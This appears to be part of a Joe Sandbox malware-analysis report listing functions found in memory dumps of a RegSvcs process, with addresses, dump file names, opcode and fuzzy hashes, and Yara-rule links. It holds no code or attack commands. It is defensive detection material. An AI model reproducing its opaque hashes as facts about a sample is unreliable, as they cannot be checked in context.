Opcode ID: edfa40d3e983af08395189d1da766aaa08d3173302a2129a5a47db67a135f80e
Instruction ID: 10badbecf497976836ca1d66b8d77b7b4f4383da62cfbf5c5247748c39ddf462
Opcode Fuzzy Hash: edfa40d3e983af08395189d1da766aaa08d3173302a2129a5a47db67a135f80e
Instruction Fuzzy Hash: 5A211874D00309DFDB01EFA5D8986EDBBB1FF8A310F148466D401A7264D7345A89CFA4

Function 002A7C73 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.625404545.00000000002A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2169433e5b7f9e41cbb73db30a3a9c5a4493f8bc74792936047019efaaafa2f2
Instruction ID: ee7ca04fe0a9395fbe6043215eafc50b269dd65bdbee7fa02168e65c49d2adff
Opcode Fuzzy Hash: 2169433e5b7f9e41cbb73db30a3a9c5a4493f8bc74792936047019efaaafa2f2
Instruction Fuzzy Hash: 0B119DB4A141098FDB04DFA4C8C4AADB7B5FF89308F648564E404E7241DB30AD52CB64

Function 002A1061 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.625404545.00000000002A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc31d448ef815c598d0e8175f7d54a383f3d2536211c4936812906edef52a59c
Instruction ID: 1972415ec3791ae9fe0c96fcebabbdad3af79f693e414000edb20485f8192ee6
Opcode Fuzzy Hash: fc31d448ef815c598d0e8175f7d54a383f3d2536211c4936812906edef52a59c
Instruction Fuzzy Hash: CF21E070C142598FCB41EFB8D9555EEBFF0BF4A200F5082AAD844B7220EB345A55CFA1

Function 0089A4C8 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.625781883.0000000000890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8be9c9e0faf4bddca5beddc1cbab945b31e6af827b289933cebb61e0de154fb8
Instruction ID: 78903fec06511aca341b5f472ac8e84dd0ad51725fcb19ca4ee719b8a1f5893f
Opcode Fuzzy Hash: 8be9c9e0faf4bddca5beddc1cbab945b31e6af827b289933cebb61e0de154fb8
Instruction Fuzzy Hash: 3B21F9B4D00609DFDB04EFA9E8986EEBBF1FF89310F148429D501A7254DB745A85CF94

Function 001AD02B Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.624990282.00000000001AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 001AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1ad000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea9aa13de3af6688b0190c548424d43cac2c886abfbda61e17135b2a085f984b
Instruction ID: f745ed1e528cc0c48b81a712592b40fd472531f53c427dd67ecc9b5f79600fab
Opcode Fuzzy Hash: ea9aa13de3af6688b0190c548424d43cac2c886abfbda61e17135b2a085f984b
Instruction Fuzzy Hash: BD118E79504680DFDB11CF14D5C4B15BF71FB85314F24C6AAD8494B656C33AD84ACF61

Function 0089A82D Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.625781883.0000000000890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44488bbe488a66fcdbd4e88fd35e10880315fd6764380a360fdd7edf6b779aa5
Instruction ID: f47ad9272a576067e09a132b7c5fb872116c00b0ef1c6303cef2cc100bd5b007
Opcode Fuzzy Hash: 44488bbe488a66fcdbd4e88fd35e10880315fd6764380a360fdd7edf6b779aa5
Instruction Fuzzy Hash: 6C011D300197859FD7062F74A86C2A57B75FF4B302F8929A2E08DDA873CB244886C7A5

Function 002A25C9 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.625404545.00000000002A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26feedaf0e941f8522ac31d50c2741ded63aadea2d7daa0b2ab911de72261ccf
Instruction ID: 3044a72af6fd666ffd4364d4c5759f28ee2d2a93e7c520623c35c5813b619d56
Opcode Fuzzy Hash: 26feedaf0e941f8522ac31d50c2741ded63aadea2d7daa0b2ab911de72261ccf
Instruction Fuzzy Hash: 4DF0FE3186D7829FD3156F74ACBC67E3F62EF07342B492D85D48A858B2DB644499CB04

Function 002A25D8 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.625404545.00000000002A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 503ded977abb2f5c984f7b9fca25e39bdddfd2530a378022e7dab1cbc949980e
Instruction ID: 528c6c5fa679ffd7ebee9bf4d1a5098370845fd2c74381300c4cd1d76ef799e3
Opcode Fuzzy Hash: 503ded977abb2f5c984f7b9fca25e39bdddfd2530a378022e7dab1cbc949980e
Instruction Fuzzy Hash: 2EE02D3186AB078BD3046F64BDAC27E7A66FB4B317B846D00E40E818719F7444D4CE94

Function 0089A840 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.625781883.0000000000890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 467917f370e7c55bf4904f7bbc0b40e070836ee298f6a564f427d71d26d7ab98
Instruction ID: 1f2e74f13c491778eaf7e476cdee5817ab4ad73c0d03b9318629193c89b2ec9f
Opcode Fuzzy Hash: 467917f370e7c55bf4904f7bbc0b40e070836ee298f6a564f427d71d26d7ab98
Instruction Fuzzy Hash: 45C08C30004A098BD7083F50B86CB39B26AFB47302FC83A20E40C51C214B708490C6E5

Non-executed Functions

Function 002AC548 Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.625404545.00000000002A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fa7d49960f726266c0dc11a9c462710c7abf3f69282a908b2c3abe73a0b911d
Instruction ID: acdc25e8fc87a9457b448a7d99507c8e688f0581647c59a2633c2efff5600fe2
Opcode Fuzzy Hash: 2fa7d49960f726266c0dc11a9c462710c7abf3f69282a908b2c3abe73a0b911d
Instruction Fuzzy Hash: 74E1E174E00218CFEB64DFA5D884B9DBBB2BF89304F2081AAD408A7395DB355E85CF50

Function 002AF828 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.625404545.00000000002A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ffbf33daeb9fa0ffc85cc0d2f979486aa8b2bcd9bf25d586228a2e44edc1540
Instruction ID: 95fddbcec60a9ff2fd69f345838a676352f84da3637d44c779a4a7b09b9d28c1
Opcode Fuzzy Hash: 0ffbf33daeb9fa0ffc85cc0d2f979486aa8b2bcd9bf25d586228a2e44edc1540
Instruction Fuzzy Hash: 72C1D274E00218CFDB54DFA5D984BADBBB2BF89300F2084AAD809AB355DB355E85CF50

Function 002AB840 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.625404545.00000000002A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 367c0b959d45f5c5f672014edd49f893e0eab389b942def4e694ae04c74b044f
Instruction ID: 6319ee688ddd87734e95f6dbb1d2a7f6faa923ae47b5e785bafbc191e6a31787
Opcode Fuzzy Hash: 367c0b959d45f5c5f672014edd49f893e0eab389b942def4e694ae04c74b044f
Instruction Fuzzy Hash: E2C1D274E00218CFDB54DFA5D985BADBBB2BF89300F2084AAD809AB355DB355E85CF50

Function 002AD8A8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.625404545.00000000002A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e479aac12ee9182fb0fa3f3f670f8b4f1a92eff4560517bb22c984aab44774f
Instruction ID: 49ba7104f089b555ae463308850bd687b8b0f914a18e9db0e041348e2f2a90a9
Opcode Fuzzy Hash: 6e479aac12ee9182fb0fa3f3f670f8b4f1a92eff4560517bb22c984aab44774f
Instruction Fuzzy Hash: C4C1C374E10218CFDB54DFA5D984B9DBBB2BF89300F2084AAD409AB355DB359E85CF50

Function 002ABC98 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.625404545.00000000002A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e88d7ad321ded1061c716a370fa15b5d9d7d82b14073b3456566a4e61843678
Instruction ID: e2f6fa437a2205719fbcf50b7aa906d12a44e36d08b5446e15ff97caac9f703a
Opcode Fuzzy Hash: 5e88d7ad321ded1061c716a370fa15b5d9d7d82b14073b3456566a4e61843678
Instruction Fuzzy Hash: 53C1C274E00218CFDB54DFA5D984B9DBBB2BF89300F2085AAD809AB355DB355E85CF50

Function 002AC0F0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.625404545.00000000002A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2dbf53f8e353a181f5aef55725f5d42b2c8cc39d5768323f257c83abd9ffb0a3
Instruction ID: 531427862f6c87362e90750d056714e20f64050f2502bd802066be784067aecf
Opcode Fuzzy Hash: 2dbf53f8e353a181f5aef55725f5d42b2c8cc39d5768323f257c83abd9ffb0a3
Instruction Fuzzy Hash: 77C1C274E00218CFDB54DFA5D994BADBBB2BF89300F2084AAD809AB355DB355E85CF50

Function 002ADD00 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.625404545.00000000002A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e1baf6df253d8097c48490062612fdd2fcb801b747d1e7393616f492b171dec
Instruction ID: f3d46a45f704effda72f4d028841d2ff5d6d5e91d33a59dc995d48f81da710ad
Opcode Fuzzy Hash: 8e1baf6df253d8097c48490062612fdd2fcb801b747d1e7393616f492b171dec
Instruction Fuzzy Hash: DAC1D374E00218CFDB54DFA5D984B9DBBB2BF89300F2084AAD809AB355DB359E85CF50

Function 002AE158 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.625404545.00000000002A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d5a98b83798763f93ed50e61591bfb9710d3662ec6c77e1634b61f31b0bfc23
Instruction ID: f722573c9c4068adf3a1194a4de711d407346fe779fcac505e66d81798b1cb8e
Opcode Fuzzy Hash: 1d5a98b83798763f93ed50e61591bfb9710d3662ec6c77e1634b61f31b0bfc23
Instruction Fuzzy Hash: 28C1C374E00218CFDB54DFA5D985BADBBB2BF89300F2084AAD409AB355DB359E85CF50

Function 002ACBA0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.625404545.00000000002A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f89c68622c5ea03095fbe2bbfe4009d8d2e26421621131c34d84458e518d6e3
Instruction ID: 30bda260d170522dbc629ce2762cfa2de6ed3701b97fa14c9e846d2612a244b4
Opcode Fuzzy Hash: 0f89c68622c5ea03095fbe2bbfe4009d8d2e26421621131c34d84458e518d6e3
Instruction Fuzzy Hash: AAC1C274E00218CFDB54DFA5D984B9DBBB2BF89300F2084AAD809AB355DB355E85CF50

Function 002AAF90 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.625404545.00000000002A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0825de956c011418f8a70f84b84df756f3b1c4f5db503e1bf98a6baae10f72f0
Instruction ID: 1af513e41730e80fb9406e065ccf5a58172f7029764f19bf0db6a7a34b1ac72a
Opcode Fuzzy Hash: 0825de956c011418f8a70f84b84df756f3b1c4f5db503e1bf98a6baae10f72f0
Instruction Fuzzy Hash: 2DC1C274E00218CFDB54DFA5D994BADBBB2BF89300F2084AAD809AB355DB355E85CF50

Function 002AB3E8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.625404545.00000000002A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb40566f3455f8d27bcf5ae82f15565a44659e41b9da8f6ddd4fc03a84902c4b
Instruction ID: fd033bb064dee1bb34643e7127ab424490b0d83f7258b66e0f4d208abefff43b
Opcode Fuzzy Hash: eb40566f3455f8d27bcf5ae82f15565a44659e41b9da8f6ddd4fc03a84902c4b
Instruction Fuzzy Hash: 67C1B174E00218CFDB54DFA5D994BADBBB2BF89300F2084AAD409AB395DB355E85CF50

Function 002ACFF8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.625404545.00000000002A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8930f59e9db93a9616fb13063e17de7b9659dfda0ffe53cb183848fae3bc87a
Instruction ID: 7798944f371cd3a2f9345bb98956f80cacab4700e74d30c8c8fbf73ffe941dec
Opcode Fuzzy Hash: a8930f59e9db93a9616fb13063e17de7b9659dfda0ffe53cb183848fae3bc87a
Instruction Fuzzy Hash: E0C1C274E00218CFDB54DFA5D984B9DBBB2BF89300F2084AAD809AB355DB359E85CF50

Function 00890498 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.625781883.0000000000890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5de03794cc7d7c44e04acd5545277c1bc83131573a9ffcb6f17507045dbbba9
Instruction ID: 9f5295bf41918055cb64d8754307cf4bfbeffc3fdfc7968bffb993cc178ae70a
Opcode Fuzzy Hash: c5de03794cc7d7c44e04acd5545277c1bc83131573a9ffcb6f17507045dbbba9
Instruction Fuzzy Hash: ECC1B074E00218CFDB54EFA5D984B9DBBB2BF89300F2484AAD809AB355DB355E85CF50

Function 00891EA8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.625781883.0000000000890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ff4530567fd353582249519bbf892398d657f80bf3b585d5abfb8687290c9ef
Instruction ID: 757dd9c9bcc4c71c2225c8e59b39e5d8580191bea598b57484ef031cffba5f3f
Opcode Fuzzy Hash: 6ff4530567fd353582249519bbf892398d657f80bf3b585d5abfb8687290c9ef
Instruction Fuzzy Hash: D5C1B174E00218CFDB54DFA5D984B9DBBB2BF89300F2484AAD809AB355DB359E85CF50

Function 008938B8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.625781883.0000000000890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aed1ab60a53651684c8ef1d3529c8a63d5e8096929db96352b1dfcbcd1aeea21
Instruction ID: a2924f556f998262defe497cb3053f77ea1284feeb5928aaf88de4c305c0347d
Opcode Fuzzy Hash: aed1ab60a53651684c8ef1d3529c8a63d5e8096929db96352b1dfcbcd1aeea21
Instruction Fuzzy Hash: BFC1CF74E00218CFDB54EFA5D984BADBBB2BF89300F2480AAD409AB355DB355E85CF50

Function 008952C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.625781883.0000000000890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69a8f5a3b6900cb1d8a780284f4691577dfd5d0345034dc08fcf1a5492c3fb41
Instruction ID: 34376991ba793564ca03da0376309a429b54dbfb4d5b425ba8f4565c47072b6a
Opcode Fuzzy Hash: 69a8f5a3b6900cb1d8a780284f4691577dfd5d0345034dc08fcf1a5492c3fb41
Instruction Fuzzy Hash: F9C1C074E00218CFDB54DFA5D984BADBBB2BF89300F2480AAD409AB355DB359E85CF50

Function 008908F0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.625781883.0000000000890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27e3b3b6314d522c50ba9a896e757962a72ad415e1e68641b045cb38017dc1cc
Instruction ID: 26a83204ac6099c139d76cd3e990e1705607784b8bbb616710716f3716e62992
Opcode Fuzzy Hash: 27e3b3b6314d522c50ba9a896e757962a72ad415e1e68641b045cb38017dc1cc
Instruction Fuzzy Hash: CAC1CF74E00218CFDB54EFA5D884B9DBBB2BF89304F2481AAD809AB355DB355E85CF50

Function 00893008 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.625781883.0000000000890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ff5caec8402c3fa898aadea517f2901c1302f4aad1dc881e570e969c5d5728f
Instruction ID: a322943208c58195c6bb3da65507c845f93185cd754d14dd7737bec21ed6de48
Opcode Fuzzy Hash: 1ff5caec8402c3fa898aadea517f2901c1302f4aad1dc881e570e969c5d5728f
Instruction Fuzzy Hash: E5C1BF74E00218CFDB54EFA5D984B9DBBB2BF89300F2480AAD409AB355DB355E85CF50

Function 00894A18 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.625781883.0000000000890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a8d9ae8f908991186a2c7bdd75d30ea2c4b3ac2daf6b4a6a3f320090019c24a
Instruction ID: 8b1b4296d24c2491829788c43134ca2c4a97051deecae4be33ea05bc9d64d19e
Opcode Fuzzy Hash: 5a8d9ae8f908991186a2c7bdd75d30ea2c4b3ac2daf6b4a6a3f320090019c24a
Instruction Fuzzy Hash: A4C1BF74E00218CFDB54EFA5D984B9DBBB2BF89300F2484AAD409AB355DB359E85CF50

Function 00890040 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.625781883.0000000000890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34a0118d6b3422de38315a254b456e01dc3c5f9d18c1f19eed0f0361488de9c8
Instruction ID: 05020f7fb4c6963ba823bc5a12088043c665f5476546851a786979b847106c5d
Opcode Fuzzy Hash: 34a0118d6b3422de38315a254b456e01dc3c5f9d18c1f19eed0f0361488de9c8
Instruction Fuzzy Hash: 86C1BF74E00218CFDB54EFA5D984B9DBBB2BF89304F2480AAD809AB355DB355E85CF50

Function 00891A50 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.625781883.0000000000890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d9ec1acfbbedfdae80977090e942acb885a66faa10d2986e7b3a936e74ddf9e
Instruction ID: 39e01117bd1858954bf3a659d0395ba97f9eca0fd6c25dc16fcf7ce85eb1c9c1
Opcode Fuzzy Hash: 1d9ec1acfbbedfdae80977090e942acb885a66faa10d2986e7b3a936e74ddf9e
Instruction Fuzzy Hash: 64C1B174E00218CFDB54DFA5D984B9DBBB2BF89300F1484AAD809AB355DB355E85CF50

Function 00893460 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.625781883.0000000000890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dacf857ae3d20548b6e94798b80802c58596b0629d1685ed263b962f4bc08f44
Instruction ID: 393c02d568876c41e5074fb1d4341d7b98f526b052ee7ae3f31f293cf5a6e4e9
Opcode Fuzzy Hash: dacf857ae3d20548b6e94798b80802c58596b0629d1685ed263b962f4bc08f44
Instruction Fuzzy Hash: A6C1A074E00218CFDB54EFA5D984BADBBB2BF89300F2484AAD409AB355DB355E85CF50

Function 00894E70 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.625781883.0000000000890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b64059ff194e9dad2fa2fe2aa708c7ef1078f24cb592c7969d52030ab09f34b
Instruction ID: 876cde860b8fd3aac5289e6cbba8bff92999fb3a6803d7a51c3b959ba468bc85
Opcode Fuzzy Hash: 0b64059ff194e9dad2fa2fe2aa708c7ef1078f24cb592c7969d52030ab09f34b
Instruction Fuzzy Hash: 4EC1C074E00218CFDB54EFA5D994B9DBBB2BF89300F2480AAD409AB355DB355E85CF50

Function 008911A0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.625781883.0000000000890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 209a0135590344d467579c0540e92970f8a13375816c924329080a242253c54a
Instruction ID: bf3e1ae3278e5a8cb837093af84e04322b243c8aca9ae454dd4a1c735890f442
Opcode Fuzzy Hash: 209a0135590344d467579c0540e92970f8a13375816c924329080a242253c54a
Instruction Fuzzy Hash: 19C1A074E00218CFDB54EFA5D984B9DBBB2BF89300F2484AAD409AB355DB355E85CF50

Function 00892BB0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.625781883.0000000000890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e19d8436828fe988249bf58758411016379f154cd44d7050e542389b399c7ada
Instruction ID: 02bb1e6bd103a4bd713eba10782c4f5e9c31611117860089126c2e2aa25ae31c
Opcode Fuzzy Hash: e19d8436828fe988249bf58758411016379f154cd44d7050e542389b399c7ada
Instruction Fuzzy Hash: B6C1BF74E00218CFDB54EFA5D984B9DBBB2BF89300F2484AAD409AB355DB355E85CF50

Function 008945C0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.625781883.0000000000890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d758487d1a4f0aee579eb508545b4828a778193de46c5b7bd24bc0bf30895c3
Instruction ID: b96d13b7d69073c8e78615f06139d875b10679d0a7d0cec2a3e205d86107d3e3
Opcode Fuzzy Hash: 6d758487d1a4f0aee579eb508545b4828a778193de46c5b7bd24bc0bf30895c3
Instruction Fuzzy Hash: 28C1BF74E00218CFDB54EFA5D884B9DBBB2FF89300F2484AAD409AB355DB355A85CF50

Function 00895FD0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.625781883.0000000000890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae06b3615fd424fccaf7ad3f4688701dc8a11b9ebac8b879acdb87415425ad20
Instruction ID: 295267b5794bbff2313674bbc2d4abef710e29745c2a3680097214291171e1f8
Opcode Fuzzy Hash: ae06b3615fd424fccaf7ad3f4688701dc8a11b9ebac8b879acdb87415425ad20
Instruction Fuzzy Hash: C7C1B074E00218CFDB54EFA5D994B9DBBB2BF89300F2480AAD809AB355DB355E85CF50

Function 008915F8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.625781883.0000000000890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7a4f4bd182ba9f7c9f399b660bcfd9e040fc339bae44d1bb24335503b210bef
Instruction ID: 315f89c281e687c1a12cb3ce6d9805662dd33ef3d3b5adc87b49dd449353a72f
Opcode Fuzzy Hash: c7a4f4bd182ba9f7c9f399b660bcfd9e040fc339bae44d1bb24335503b210bef
Instruction Fuzzy Hash: 5BC1C074E00218CFDB54DFA5D998B9DBBB2BF89300F2480AAD409AB355DB355E85CF50

Function 00892300 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.625781883.0000000000890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26c24c2a0d76528da2445405fb3b3cc6b3d96ce225231d96e4ecaaa8c4666d8e
Instruction ID: 926f813876597d5dea1bcdc0e2e2b87f70f05108e389b5e7334e0671f9e7774b
Opcode Fuzzy Hash: 26c24c2a0d76528da2445405fb3b3cc6b3d96ce225231d96e4ecaaa8c4666d8e
